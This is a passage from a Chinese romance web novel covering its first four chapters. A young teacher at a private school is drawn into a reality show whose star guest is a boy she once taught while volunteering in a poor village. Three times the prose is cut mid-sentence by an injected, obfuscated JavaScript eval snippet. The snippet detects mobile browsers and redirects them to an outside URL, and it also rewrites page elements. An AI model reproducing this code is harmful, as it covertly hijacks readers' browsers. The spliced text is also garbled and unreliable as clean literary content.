《独钓寒江雪》 1. 第 1 章 上课铃声响了,姜雪攥着教案穿过走廊拐角。 “哐当!”储物间的铁门发出了闷响。 她停下脚步,看到门缝里漏出半截校服袖子。 又是一声“哐当”,整个铁门哗啦作响。 她打开门,看见三个女生围着一个矮个子男生。 他的脑袋被校服外套兜头罩住,领头的卷发女生更是攥着保温杯往他背上砸。 “你们在干什么!”姜雪冲过去拽开女生手腕。 男生趁机缩到墙根。 他的校服领子歪在肩头,后颈露出的两道新鲜抓痕,还渗着细小的血珠。 卷发女生甩开她的手,指甲上的水钻在日光灯下反着光:“姜老师,我们帮同学练舞蹈动作呢。” 另外两个女生倚着门框笑,“对呀,刚才那下没摔出脑震荡吧?” 男生突然剧烈咳嗽起来。 他弓着背往楼梯口退,运动鞋底在地面蹭出灰痕。 “同学,跟我去医务室。” 姜雪伸手想扶,但她的指尖刚碰到男生胳膊,就被甩开了。 男生像一只受惊的麻雀跳开半步,“老师我真没事,下节体育课要迟到了。” 卷发女生忽然抬脚踹向他的膝盖窝,姜雪来不及护住。 他一屁股坐在地上,怀里的书本雪花似的散了一地。 “再闹就全校通报!” 姜雪扫过三个女生,喉咙发紧。 卷发女生翻了个白眼,从裤子里抽出补妆镜整理鬓角:“你报啊,反正我妈上个月刚给图书馆捐了二十万。” 另外两个女生笑作一团,浓烈的香水味熏得姜雪直皱眉。 德育处主任的办公室飘着龙井茶香,他翘着二郎腿转动着杯子,枸杞在琥珀色的茶汤里沉沉浮浮。 “姜老师,没有实锤的事别瞎掺和”,他端起茶杯抿了口,“私立学校最讲究家校关系,你这么较真,以后怎么跟家长打交道?” 姜雪咬了咬唇:“我亲眼看见她们动手,男生后颈有伤。” 主任短促地笑了一声,“监控早坏了,总务处说下周才来修。再说了……” 他倾身向前,从办公桌上的镇纸下抽出一张家长捐赠名单,“王雨欣她家是校董,你要真把事情捅去教育局,对谁都没好处。” 姜雪走出办公室时,听见身后传来嗤笑:“公立学校混不下去才来这儿的吧?也不看看自己什么段位。” 下午最后一节是姜雪的课,她踩着预备铃进教室,看见后排三个女生正在传阅当季口红新品目录。 她把教案摔在讲台上,粉笔灰簌簌地落在第一排课桌上:“王雨欣、李萌、陈思琪,现在、立刻、站到前面来!” 卷发女生慢悠悠起身,椅子腿在地面拖出刺耳的声响:“老师,我们脸上又没写‘坏学生’三个字,你怎么逮着我们就咬?” 姜雪抓起讲台上的笔筒重重一放,“谁再废话就停课一周,我亲自去你们家家访!” 后排男生们开始起哄,有人用圆珠笔敲打课桌,有人学她刚才砸笔筒的动作。 姜雪抄起三角尺敲在讲台边缘:“谁再讲话就记过,档案里跟你们一辈子!” 教室瞬间安静下来。 三个女生磨磨蹭蹭挪到讲台前,胆子最小的李萌已经有眼泪在打转,睫毛膏晕成了熊猫眼。 姜雪盯着她们校服口袋里露出的烟盒轮廓,声音比平时拔高八度:“你们给我回去写三千字检讨,明天早读当着全班念。另外……” 她走下讲台,直奔王雨欣的位置。 她拉开对方的书包拉链,口红、美工刀、薄荷烟等东西噼里啪啦掉了一地。 “这些都是违禁品”,姜雪捏着美工刀,“明天让你们家长亲自来找我取。” 第二天大课间,姜雪正在办公室批改周测卷,门突然被人粗暴推开。 穿高定套装的女人踩着高跟鞋冲进来,爱马仕铂金包上的金属扣甩在姜雪脸上,“你就是姜雪?” 她的嘴咧成嘲讽的弧度,“我女儿回家哭得妆都花了,说被老师当犯人审!” 德育处主任闻声赶来,一看到这阵仗,脑门上满是汗珠:“姜老师,怎么回事?” 姜雪的脸还火辣辣地疼,她捂着脸要开口,女人却抓起桌上的玻璃杯泼过来。 温水顺着姜雪的发梢滴进衬衫领口,灰色衬衫被洇成了深色。 主任拽了拽她的袖子:“快给家长道歉!学生之间小打小闹,你非要上纲上线……” 姜雪的眼眶瞬间就红了,不知道是疼的还是委屈,她喉结滑动几下,没有吭声。 僵持之间,一阵脚步声在门口响起。 校长拄着拐杖走进来,银发梳得纹丝不乱。 他瞥了眼湿透的桌面,看向僵在当场的主任:“你先去把三个当事学生叫来,还有和家长了解一下情况。” 他转了个身子,拐杖头点了点姜雪:“你,跟我来。” 校长室在学校办公楼顶楼,姜雪任职不过三月,这个地方还是第一次踏入。 “坐吧”,校长摘下眼镜,从抽屉里抽出个档案袋推过来:“看看这个。” 姜雪盯着封口处歪歪扭扭的红色火漆印,联想到人事处开除通知的专用封印。 她猛地站起来,撞得办公桌晃动,腿上疼了也顾不揉。 “校长,关于昨天的事我想解释。我的后续处理完全按照校规……” “先看东西”,校长敲了敲档案袋,“看完再说话。” 姜雪只好抽出里面的文件。 那是一份《青春进行时》的真人秀拍摄协议,拍摄地点赫然是本校校名。 校长端起建盏,吹了吹茶沫:“我们私立学校没有财政工资,能开源就尽量开源。这家娱乐公司愿意出很大一笔钱给学校,借场地拍摄明星体验校园生活的节目,你配合一下露个脸。” 姜雪把文件推回去,“校长,我从来不化妆,上镜不合适。” 校长笑了声,皱纹在眼角堆成沟壑:“知道你缺钱。” “这是前期费用”,他从抽屉夹层摸出个信封,厚度能抵姜雪半年房租,“节目组还给了额外补贴,拍完当天结清。至于学校这边,参加节目的老师,下学期职称评审自动加分。” 姜雪盯着信封边缘露出的红色钞票,恍惚看见外婆躺在ICU里插满管子的模样。 她迟疑地伸出右手,指尖在信封上方悬停,“我需要做什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627007|172420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?” “都是些合法合理合规的事”,校长放下建盏:“下周节目组进校,我们再开会谈详情。” —————————— 姜雪把钥匙甩在玄关的玻璃台面上,金属碰撞声在空荡荡的公寓里荡出回音。 她把自己摔进沙发,这是二手市场淘的货,弹簧硌得她骨头疼。 她伸手去够茶几上的矿泉水瓶,拧开盖子灌了两口,凉水顺着喉管滑下去,却浇不灭胃里翻腾的酸水。 “形婚”,她对着客厅里晃动的吊灯影子嗤笑出声。 半年以前,她还是公立学校的教学新秀和优秀班主任,现在却像条丧家犬似的窝在陌生城市的出租屋里。 她这辈子都没经历过那么难忘的夜晚。 她本来要坐晚修的,但要找学生面批的试卷落在了家里。 她和别的老师调了班,急匆匆就往家里赶。 她记得自己当时还庆幸,终于能回家吃口热乎饭。 结果推开门,她就看见玄关散落着两件男士衬衫,一件深灰一件墨蓝,纠缠着躺在她给新家买的地毯上。 她听着浴室的水声,僵在原地。 她抱着一丝侥幸,想着说不定是亲戚来借住,又说不定是水管爆了找师傅来修。 浴室门没有上锁,“咔嗒”一声就被她推开了。 她到现在都记得那个画面。 淋浴间的雾气漫出来,在落地窗上凝成扭曲的水痕。 年轻些的男人脸上还挂着水珠,喉结上沾着没擦净的泡沫;年长些的那个正系着浴袍带子,无名指上的婚戒已经不知所踪。 “你听我解释……”王思达的声音像从很远的地方飘来,被水声割得支离破碎。 她什么都没说,转身就往外跑。 雨下得正急,柏油路上积着发黑的水洼,她一脚踩进去,凉意顺着脚踝往上爬。 过马路时,她完全没留意到红绿灯的信号,随着急促的刹车声,她摔在了斑马线上。 黑色保姆车的灯光在雨幕里很刺眼,车门开了,有人撑着雨伞下来。 她还未看清楚来人的样子,就失魂落魄地爬起来,脚步一深一浅地往巷子深处钻。 协议离婚拟订得很顺利。 王思达说现在行情不好,房子先挂中介,迟点再卖。除去一人一半的首付,剩下的分账是六/四成。 她多拿的一成算是补偿,代价是闭口不提形婚的事,双方父母问起来就说是性格不合。 扯完离婚证那天,她一边收拾东西一边哭。她想起结婚时,自己亲手在阳台上种的茉莉花,不知道被那两个男人扔到哪里去了。 现在她住在这间月租两千的公寓里,每天要坐四十分钟地铁去学校。 私立学校的家长比学生还难伺候。 今天被王雨欣妈妈侮辱,她差点也想把水泼回去。 可她一想到下季度房租还没着落,又硬生生咽下了这口气。 茶几上的手机突然震动起来,屏幕亮起的瞬间,她下意识缩了缩脖子。 那是房东发来的消息,说下个月房租要涨五百。 她盯着那行字看了足足两分钟,发泄般地抓起抱枕砸向对面的白墙。 2. 第 2 章 周末清晨,姜雪拖着行李箱站在单元楼门口,脚边堆了几个打包好的纸箱。 闺蜜郑乃宁的红色轿车停在巷口,她甩了车门小跑过来。 “你房东比我还黑,刚住半年就涨五百?” 郑乃宁叉腰盯着中介刚贴的招租告示,纸面价格被红笔圈得刺眼。 她是姜雪的大学室友,毕业后没有去教书,而是帮家里的几栋楼收租,日子过得很滋润。 姜雪弯腰搬纸箱的动作顿了顿,“现在这间也不错,采光好,离地铁口近。” 她懒得再提前几天在楼道里和房东对峙的事,对方举着手机里其他租客的报价截图,说现在年轻人挤破头要住东城区。 红色轿车轰隆隆碾过减速带时,郑乃宁问她:“小道消息说你们学校接了个真人秀?听说男嘉宾是烬野啊!” 姜雪正低头看手机,闻言头一抬,吃惊地看向郑乃宁。 她当然知道烬野,超市收银台循环播放的《野火》前奏一起,排队大妈都能跟着哼两句。 但这么大咖的明星居然愿意来拍这么无聊的节目? 还有不知道学校怎么考虑的,居然让她上电视和明星互动?她光是想想摄像机怼着脸拍,整个人就泛起鸡皮疙瘩。 她揉了揉太阳穴,叹气:“大概是有这么一回事。” “我就知道!”郑乃宁发出土拨鼠尖叫。 她趁着等红灯的空挡,把手机屏幕怼到姜雪眼前。 节目组官宣海报里,烬野黑色马甲搭配白色背心,胸肌撑得布料紧绷,锁骨下方隐约露出半截狼头纹身。 “这腰线这肌肉!”郑乃宁虽然是新晋宝妈,追起星来却一点也不含糊。 她手指疯狂划拉照片,“他演唱会撕衣服是固定环节,上次撕到只剩条牛仔裤,粉丝在台下举的灯牌都是‘请撕我’!” 姜雪盯着海报上那张棱角分明的脸,想起上周路过奶茶店,玻璃窗里循环播放的演唱会片段。 当时她正为教案发愁,余光瞥见大屏幕里男人扯着衣摆猛然发力,肌肉线条随着动作暴起,碎布条顿时飞散。 她笑笑,“是挺……显眼。” 郑乃宁抓着方向盘,跟着前面的车流缓慢移动,“你知道吗,他三个月后在我们隔壁市有演唱会!预售今天开始,握手票才9999,一起去呗。” “瞧你说的”,姜雪故意把“才”字咬重,“我一个月工资加起来都没有9999。” 郑乃宁不死心地继续念叨,“你坐我车去呗,当晚回来不用住宿,又省去一笔费用。” 姜雪想起校长办公室里那沓钞票,想起房东涨租时轻飘飘的“爱住不住”,想起银行卡余额在交完押一付三后只剩四位数。 她直截了当的拒绝,“没钱。” 窗外传来汽车鸣笛,混着郑乃宁哼唱的《野火》副歌,在轿车车厢内撞出细碎回响。 —————————— 会议室里的空调嗡嗡响着,姜雪盯着投影幕布上《青春进行时》的PPT标题,后颈被空调风吹得发凉。 年级主任黄丽推了推眼镜,“这个节目一共有四个明星参与,以转学生的身份空降,录制的时候还请咱们高二部的学生配合一下,李晓臻当班主任,姜老师做副班主任。” 李晓臻是语文组出了名的精致派,指甲永远涂着当季流行色。 她捋了捋垂在胸前的卷发,一副舍我其谁的表情。 姜雪则停下了手中的笔,她扫了眼在场其他老师,有些茫然,“李老师是我们学校门面担当,做班主任无可厚非,那为什么选我?” 黄丽嘴角翘了翘,“资方的要求,我们也……” 校长咳了声,“这些明星啊,文化课成绩比咱们学校倒数的还难看。他们数学课听得直打哈欠,物理公式一写就蒙圈,更别说配平化学方程式。” 他的目光在姜雪身上停了停,“但历史课不一样,你多讲点野史秘闻,什么武则天养男宠、郑和下西洋带回长颈鹿,他们眼睛都发直。历史科组就数姜老师最年轻了。” 姜雪想起上周讲《辛亥革命》,有个女生举手问:“老师,孙中山是不是萝莉控?” 当时她差点没把粉笔折断,后来她发现那女生正用手机边查资料边提问,屏幕还亮着烬野的应援海报。 她垂了眼帘:“所以……选我是因为我年轻,能陪他们胡闹?” 黄丽笑出声,“姜老师这长相,打扮打扮,站明星旁边也不输啊。上周那家娱乐公司来学校踩点,盯着你照片看了三分钟呢。” 学校和明星之间的见面会定在拍摄前一天的下午。 会议室百叶窗将日光筛成细密光栅,姜雪等人已经提早到位。 门轴转动声响起,一行人走了进来。 一个穿深灰色衬衣的高个子男生在队伍最后,头上的黑色棒球帽檐压得很低。 李晓臻用签字笔尾端戳姜雪小臂,“烬野真人比电视上看到的还要帅。” 姜雪看向那男生,他已经摘下了棒球帽,侧脸线条很利落。 他的鼻梁骨节分明,薄唇抿成直线时冷若冰霜,宽肩窄腰的倒三角身形在衬衣下若隐若现。 “老师们好,我是烬野”,他把棒球帽反扣在膝头,腰挺得很直,与舞台上撕衣热舞的样子判若两人。 他就坐在姜雪对面,她感觉他的视线扫过来,慌忙低头摆弄笔帽。 年级主任讲了开场白,明星们开始逐个自我介绍,穿驼色风衣的女演员说完了“合作愉快”,下一个就轮到了烬野。 “我很高兴能来参加这个节目”,他身子前倾,手肘撑在会议桌上:“我挺怀念读书时候的,因为有难忘的人。” 李晓臻和黄丽对视一眼,捂着嘴笑,“烬野先生说的难忘的人,是初恋吧?” 校长打断了两人的交谈:“咱们签过保密协议,不探讨艺人私生活。” “是是是”,黄丽赶紧打圆场:“烬野先生是想说怀念校园时光吧?那就对了,咱们学校食堂的糖醋排骨可是一绝……姜老师,该你说两句了。” 姜雪忽然被点名,连忙站起来。 从这个角度,她能够清楚看见烬野黑色牛仔裤下绷出的修长腿型,那优美的肌肉线条昭示着蓄势待发的野性张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627008|172420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力。 她清咳两声,目光移向投影幕布上的流程表:“大家好,我是这次活动的副班主任姜雪,教历史……” “听助理说,姜老师授课风格很有特色”,烬野等她说完,忽地接上,“能申请旁听姜老师的课吗?” “烬野先生这是要突击检查?”黄丽尴尬地笑了笑,“您往教室后面一坐,保证全班都没人听课了。” 烬野的经纪人毛远跟着笑,“那当然,节目组统一有拍摄计划,我们按照合同来。” 她给了烬野一个眼神,他没再接话,只是将棒球帽重新扣回头顶,帽檐阴影完全遮住眉眼。 散会时,姜雪磨蹭到最后,她正收拾着散落的资料,李晓臻从背后冒出来,问:“你是不是认识那个烬野?” “那当然啊”,姜雪手下不停,“人家是大明星。” “不是,我说……”李晓臻倚着桌边,“我怎么感觉烬野认识你?刚才他不停地在看你。” “我又不是美女,要看也是看你”,姜雪自嘲般笑笑,“说不定他在想,我这种素人会不会拉低节目收视率。” —————————— 晚自习的课后,姜雪坐在办公室里,摸出手机点开音乐软件。 烬野的歌单静静躺在播放列表首位,最新单曲《雾》的封面是张模糊侧脸。 她点开评论区,热评第一条写着:“他唱《野火》时像要把舞台点燃,唱《雾》时又像要把自己溺毙。” 她塞上耳机,他的声音从听筒里流淌出来。 副歌里的那句“在黑暗里寻找光,却撞进你眼里”,让她莫名想起今天下午那双勾人心弦的眼睛。 是啊,又会写词又会唱歌,浓颜五官加上爆好的身材,这种六边形战士成为顶流是再正常不过的事情了。 伴着悦耳的歌声,她走出校园。 天空叠着层层乌云,下起了毛毛细雨。 姜雪翻着袋子找伞,忽然听见有车按了声喇叭。 她抬头,一辆黑色保姆车贴着路沿停下,后窗缓缓降下。 她下意识后退半步,看见个戴着棒球帽的男人探出半张脸。 “姜老师?”他拉动车门把手,露出了结实的小臂肌肉线条,“我送您回去。” 姜雪没想到烬野这么晚了还在学校,她往旁边让了让,“不用麻烦,我坐公交。” “这会儿公交末班车早没了”,他指了指旁边的位置,“而且天气不好。” 姜雪:“真不用,雨不算大。” “姜老师”,他诚挚地开口,“就当帮个忙,明天六点就要集合,您要是淋感冒耽误进度,公司得批评我了。” “您……”她还想说些什么,烬野已经撑开黑伞下车。 他把伞面完全倾斜到她头顶,自己左肩瞬间洇湿一片。 “走吧”,他护着她上车,衬衣下摆扫过她手背。 姜雪只好就范。 她落座系好安全带,又接过他递来的纸巾胡乱擦了擦发上的雨丝。 她对着烬野感激地笑笑,完全没留意到窗外有个黑影,已经悄悄拍下了这一幕。 3. 第 3 章 姜雪坐在保姆车上,看着外面雨夜的街景。 车上放的是烬野的歌,刚好是她下班时候听到的新单曲。 “姜老师是师范生吗?”等红灯的时候,他忽然开口。 “嗯”,姜雪把挎包往怀里拢了拢,“本科和研究生都是。” 烬野拧开一瓶矿泉水递给她,“听说师范生都有三下乡支教活动?” “现在也有,我去过两次”,姜雪接过水,说了声谢谢。 他的手指骤然收紧,“那里的孩子和您现在教的学生,差别很大吧?” “山里孩子大多更纯粹,他们至少不会用新款手机拍老师发短视频”,姜雪想起上周没收的五个手机,无奈笑笑。 烬野似乎对这个话题很有兴趣,继续追问,“那有没有一些山里的学生,让您印象很深刻的?” 姜雪略微沉思,唇角浮起欣慰的弧度:“有户人家连生五个女儿,全村都看不起她爸。但二女儿很争气,每天四点起床割猪草,后来考到985了。” 烬野盯着她,“男孩子呢?” “也有”,姜雪点点头,“政府给留守儿童发免费午餐,有个男孩总说不饿,带回家吃。后面我们家访才知道,他是留给奶奶。” 烬野闭了闭眼睛,指尖抠进真皮座椅缝隙。 他微微叹了口气,嘴角浮起一抹若有似无的笑容,“您比他们大不了多少吧,他们叫您老师还是……” 他故意放慢速度,把“姐姐”两个字咬得很重。 姜雪还没回答,保姆车已稳稳停在公寓楼下。 两边人行道的大树被雨水洗得发亮,在路灯下折射出细碎银光。 烬野看着她下车撑开雨伞,心头说不出的烦躁。 他摸向裤袋,却只摸到了空烟盒。 车窗被敲响时,他立刻降下玻璃,但只接到了一句礼貌的“谢谢烬野先生”。 他看着单元楼的感应灯逐层亮至七楼,才将捏变形的烟盒扔进车载垃圾桶。 他对司机说:“便利店买条烟。” 司机从后视镜窥见他阴沉的脸色,小声说买太多会被经纪人骂。 雨刮器还在左右摆动,刮不净的雨水在玻璃上汇成细流。 烬野不再说话,他摸出墨镜戴上,整个人陷进座椅的阴影里。 —————————— 拍摄第一天,学校腾出了一间空办公室当休息室。 姜雪站在镜子前,扯了扯裙子下摆。 这套职业装是摄制组准备的,浅灰色套裙裹在身上,腰线收得比她平时穿的衬衫要紧上两寸。 “姜老师发质真好”,化妆师把卷发棒温度调高半格,塑料夹子夹住她耳后碎发,“不像某些人,头发像枯草还非要染奶奶灰。” 话音刚落,办公室的门突然被人推开。 穿银色亮片裙的女人踩着细高跟冲进来,耳垂上的钻石流苏甩得哗啦作响:“妆发师呢?不是说好现在给我做造型?” 姜雪很少关注娱乐圈的事,新人几乎都不认识。 她从镜子里看见胸牌上“吴若妍”三个字,后面缀着“特邀嘉宾”四个小字。 化妆师手里的梳子僵在半空,后颈渗出细汗:“若妍姐,姜老师这边马上……” “马上?”吴若妍拔高嗓门,“你让她顶着这张寡妇脸去录节目?观众是要看明星还是看教导主任?” 化妆师叹了口气,给姜雪说了句对不起,“我待会再来。” “我来吧”,一旁的李晓臻已经完妆,接过化妆师的工具。 姜雪有点好奇,问她:“刚才那个是谁?” 李晓臻打理着她的头发,“吴若妍啊!星耀娱乐老板的千金。唱歌跑调能跑出二里地,演戏全靠后期配音,就这还天天买热搜说自己是全能艺人。” 姜雪:“昨天开会怎么没见她?” 李晓臻嗤了一声,“人家哪用得着开会?听说她爸往节目组砸了好多钱,连烬野的休息室都让给她半间。” “所以靠山是多么的重要啊”,她压低声音,语气有点酸,“要我说啊,这年头在私立学校当老师,不如找个好码头。你说对吗?” 姜雪听不懂这话,只胡乱地应了一声。 —————————— 场记再度核对台本时,导演举着分镜图挤过人群。 他指着纸页上密密麻麻的红蓝批注,告诉姜雪两人,“今天我们第一场戏,主要是插班生和同学们见面,两位老师自然点,别找镜头。” 姜雪连连点头,她站在走廊外面,看教室里面的工作人员在忙忙碌碌。 灯光师踩着梯子调整顶灯角度,十六个柔光箱把教室照得雪亮。 扎马尾的助理蹲在讲台侧面,将反光板卡进课桌缝隙。 窗帘轨道上缠了好几台微型摄像机,电线顺着墙纸花纹蜿蜒到天花板夹层。 姜雪正看得入神,李晓臻猛地扯她衣袖,“那边。” 姜雪顺着她的视线转头,看见烬野从楼梯拐角转了出来。 他今天穿的是私立学校的校服,白衬衫一丝不苟的扎进黑色长裤,墨绿色外套搭在手上,活像一个刚从篮球场回来的高中生。 李晓臻忍不住感叹,“学校那套丑校服穿他身上怎么跟高定似的?我们校服厂家该给他代言费。” 姜雪没接话。 这个逆光走来的身影在她的瞳孔里逐渐清晰,她看着他歪头打量走廊标语的动作,想起支教时那个总趴在窗台上的黑皮少年。 可那孩子只有一双沾满泥点的破旧布鞋,绝对不会踩着限量版球鞋发出清脆声响。 “姜老师,李老师。”烬野走到两人面前停下。 走廊里响起了叽叽喳喳的喧闹声。 过来配合拍戏的学生到了,几个女生攥着书包带不肯走,盯着烬野的眼神像饿狼见了肉包子。 李晓臻过去赶人:“都进去坐好!第一场戏马上开拍!” 有个扎马尾的女生只当没听到,对着烬野尖叫:“我可以坐你旁边吗?” 姜雪听着教室里此起彼伏的起哄声,又瞅了瞅烬野规规矩矩扣到顶的衣领,提醒他:“你最好把上面两颗扣子解开。” 烬野愣了下,手指刚碰到纽扣又缩回去:“这样……不合适吧?” “咱们这学校的学生都流里流气的”,姜雪指了指他领口,“您穿得这么板正,等会儿镜头切全景,观众还以为您是教导主任。” “好”,烬野很配合地去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627009|172420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解纽扣,但动作笨拙得像第一次穿衣服。 他解到第二颗时突然卡住,指节绷得发白。 姜雪怕他扯坏衣服影响拍摄,按住他手腕:“别动,我来。” 她的指尖刚碰到纽扣,他的耳尖便以肉眼可见的速度泛红。 她的动作轻轻柔柔的,和记忆里她弯腰替他整理衣领时的力度一样。 十五岁那年的冬天很冷,校服是他穿过的最好衣服。 为了御寒,他总把校服扣子系到最顶,直到某天她蹲在他课桌前,“再这么裹粽子,体育课晕倒了姐姐可背不动你。” 有一天他没去上学,蜷在破烂的房子发烧。她不知道怎么就找过来了,“小孩,藏这儿呢,也不请假。” 她掌心贴在他额头的温度,比退烧药更滚烫。她用外套裹住他发抖的肩膀,他闻到了衣服上沾着沐浴液的香气。 二十五岁的他,此刻喉结快速滑动着。他怕自己一开口,就会暴露哽咽的尾音。 “好了”,姜雪抽回手,满意地点点头,“这样……” 话还没完,她就被人从后面狠狠撞了下。 她平时都是平底鞋,今天破天荒穿了细高跟。她一个没站稳,整个人踉跄着往前面倒。 预想中的疼痛没到来,烬野的双手抓住她胳膊,温热的掌心擦过她裸露的皮肤。 吴若妍涂着裸色唇釉的嘴抿成直线,目光在两人交叠的衣角上转了一圈:“当老师当上瘾了?连嘉宾的衣领都要管。” 她伸手去碰烬野的领口,指甲刮过他颈侧,“要解扣子找我啊,我比某些人专业多了。” 他猛地后退半步,领口被扯开半寸,露出截锁骨。 这边动静太大,有些学生已经从窗口探出头来了。 姜雪担心影响不好,连忙伸手去抓吴若妍的手腕,却被对方指甲划过手背。 她冷了脸,“吴小姐,这里是学校,有什么事请你回休息室解决。” “你算什么东西?”吴若妍突然提高嗓门,“听说你不过是个被公立学校踢出来的二手货,还真当自己是香饽饽了?” 场务举着对讲机小跑过来,赔着笑,“道具组马上布完景了,咱们过那边对对词吧?” 姜雪瞥见他胸牌上的“实习”字样,想起自己卡里的余额。 如果她是十八岁,年少气盛,大概率直接掀桌子。 但现在她已经快三十了,人在屋檐下,不得不低头,这么浅显的道理她还是懂的。 她告诉自己,没必要和钱过不去。 她认命般咬了咬唇,活动了下差点没崴到的脚关节,对着场务若无其事地“嗯”了声。 烬野却在这时开口。 他盯着吴若妍,“你该给姜老师道歉。” 吴若妍不可置信地看向他,“她算哪根葱?也配让我道歉?” “弄伤人就该说对不起,还有注意你的措辞”,他的声音不大,但每个字都掷地有声。 吴若妍突然尖叫起来,高跟鞋把走廊踢得咚咚响:“导演!这戏我不拍了!让这种老女人跟我同框,观众会吐的!” 她转身要走,他又跨步挡住她去路。 他的语气很冷硬,“不道歉,这个节目就停拍。” 4. 第 4 章 姜雪站在走廊候场,余光瞥到楼梯间三个人的身影。 消防门关着,她只能大概看到导演给烬野递了瓶矿泉水,又一边手搭在他肩上,低低说着什么。 烬野唇角绷直,眉心紧皱着。 吴若妍拽住他的衣角晃了晃,被他不耐烦地拍开。 她吸了吸鼻子,拔高的哭腔钻进了姜雪耳朵,“我妆都花了你就不能哄哄我?” 后面导演还劝了什么,姜雪没心思关注。 她回休息室补了下妆,尽量让自己看起来精神些。 她自顾自地对着镜子扯动嘴角,感觉自己也没有吴若妍说的那么老。 “姜老师”,烬野不知何时出现在她旁边。 他的右手悬在她肩膀上方两寸处,像是要拍她又不敢。 “您手背划出血了”,他的目光渐渐下移,情绪隐晦不明。 她看了眼,说了句没事。 烬野喉结滑动一下:“我替吴若妍向您道歉。” 姜雪无所谓地点点头,“小姑娘喜欢你就多担待点,私立学校难搞的学生我见多了。” 烬野往前半步,嘴唇动了动想说什么,却被场务举着喇叭的喊声截断剩下的话。 好几台摄影机围着讲台,一身粉色套裙的李晓臻站在中央,宛若一朵春日阳光里盛开的芍药。 她笑语嫣然,按照剧本宣布转学生的到来。 姜雪站在教室后排的摄像机死角,看着两男两女依次进来。 烬野咖位最大,压轴登场。 他背着黑色单肩包迈进教室,对同学们打了个招呼,“我是烬野,喜欢音乐。” 全场静了一秒,掌声和起哄声立刻海浪般掀翻屋顶。 很多女生捂着嘴笑,有个胆大的喊了声:“唱首歌呗同学。” 教室气氛更加热烈,有男生拍着桌子喊“来段live”,连李晓臻都抱着胳膊靠在讲台边笑。 导演坐在屏幕后,对着烬野比了个ok的手势。 烬野没唱最新的单曲,选了首慢情歌。 他的声音很有磁性,当唱到“你睫毛扫过的雨季”这句时,目光越过二十几张课桌扫到教室后排,正落在姜雪脸上。 那目光太直白,又太干净。 姜雪教书三年,见过太多学生。 有全力以赴冲刺985的,也有王雨欣那种目中无人的,有尊师重道勤学好问的,也有天天课堂睡大觉的。 可没有哪个学生像此刻的烬野——他整个人像被镀了层金边,连校服褶皱都泛着细碎的光。 一曲毕了,李晓臻将话筒递过来,“姜老师也讲几句?” 姜雪回过神来,拨了拨刘海,走上讲台。 这个时候的烬野已经落座了,大长腿委屈地蜷在课桌底下,膝盖时不时磕到桌腿,发出闷闷的“咚”声。 他的同桌当仁不让就是吴若妍。 她用指尖戳了戳烬野的胳膊:“我位置宽敞,要不咱俩换换?” 姜雪发言的时候听到下面的声音,习惯性地就将目光扫过去,落在两人身上。 烬野立刻竖起食指,对着吴若妍在唇间做了个噤声手势。 吴若妍猛地抬头瞪向讲台,眼神就像淬了毒的银针。 烬野没有留意,因为他的注意力全部落到了姜雪身上。 她的嘴巴一开一合地说着欢迎词,瞬间把他的思绪拉回小时候的山村。 山雾沉甸甸压在青灰色瓦檐上。 十岁的颜念潮踩着露水未干的田埂往学校走,鞋底黏着层湿漉漉的泥壳,每走一步都发出闷响。 村口歪脖子的老槐树底下,三条野狗正撕扯着半截腐烂的猪肠,腥臭味混着旱厕的味道飘来,他皱了皱鼻子。 他走到溪边,掬了点水洗脸,指甲缝里嵌着的黑泥却怎么也搓不干净。 旁边的人家养了一群芦花鸡,其中一只扑棱棱飞过竹篱笆,掉下的鸡粪正巧砸在他磨破的裤脚上。 这条裤子还是爷爷去年从镇上垃圾站捡回来的。 裤头很松,被他用红蓝相间的塑料绳胡乱绑着,勉强能穿。 村里的教室是祠堂改的,缺角的黑板上还留着文/革时期刷的标语。 颜念潮缩在最后一排,膝盖顶着开裂的木桌腿,听见前桌女生捂着嘴巴和他说话:“臭要饭的,离我远点。” 他假装没听见,把脸埋进课本里。 夜里,他蜷在破旧的柴房里,听见老鼠在房梁上打架。 爷爷的咳嗽声从隔壁屋传来,他摸黑把晒干的玉米须塞进爷爷枕头底下。 这是村口赤脚医生教的偏方,虽然从来不管用。 窗外的蛐蛐叫得人心烦,他翻出藏在床板底下的铁皮盒,里面躺着一些捡回来的用秃铅笔,和一沓全是红勾的满分试卷。 小学和初中的日子就这样子过去了。 到了高中,不再属于义务教育,加上爷爷重病在床,颜念潮不知道什么是国家助学金,就连贫困证明也没有办理。 家里穷得揭不开锅,更不用说缴纳学费。 他有时候忙完农活,就会站在教室后窗的铁栅栏边,看同龄人读书。 今天的讲台上站了个陌生的女老师,听说是城里来支教的大学生。 他的目光黏在她翻飞的衣袖上。 